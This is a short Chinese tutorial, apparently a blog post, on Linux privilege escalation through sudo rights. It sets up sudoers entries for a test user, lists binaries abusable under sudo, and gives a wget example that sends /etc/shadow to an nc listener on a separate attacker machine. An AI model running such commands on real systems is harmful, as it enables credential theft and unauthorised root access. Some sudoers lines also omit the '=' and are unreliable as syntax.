使用Sudo权限提升Linux账户权限
在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令。如下图

Sudoer文件语法
假如我们(root用户)要给普通用户test分配sudo权限,请输出vim /etc/sudoers打开文件进行编辑,找到root权限root ALL=(ALL:ALL) ALL,在下一行输入
test ALL(ALL:ALL) ALL,保存后退出,这样即表示用户test可以使用sudo调用root权限执行命令。
给普通用户设置 sudo权限
打开 /etc/sudoers 文件
vim /etc/sudoers
给普通用户test 的wget命令添加sudo权限供下面进行提权测试
test ALL(ALL:ALL) /usr/bin/wget
或者直接给于用户root权限,下面测试时不必来回修改
test ALL(ALL:ALL) ALL
提权命令总览
可以利用sudo提权的命令如下
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp
sudo wget提权
Wget 命令是一个命令行实用程序,它使用户能够借助许多协议(如 HTTP、HTTPS 和 FTP)从 Internet 或服务器同时下载单个或多个文件。
wget 提权的原理是:
使用–post-file参数将/etc/shadow的内容发送到监听IP并保存未hash.txt(kali)
##kali上监听
nc -lvp 4444 > hash.txt
##靶机上
/usr/bin/wget --post-file=/etc/shadow 192.168.0.114:4444



7272

被折叠的 条评论
为什么被折叠?



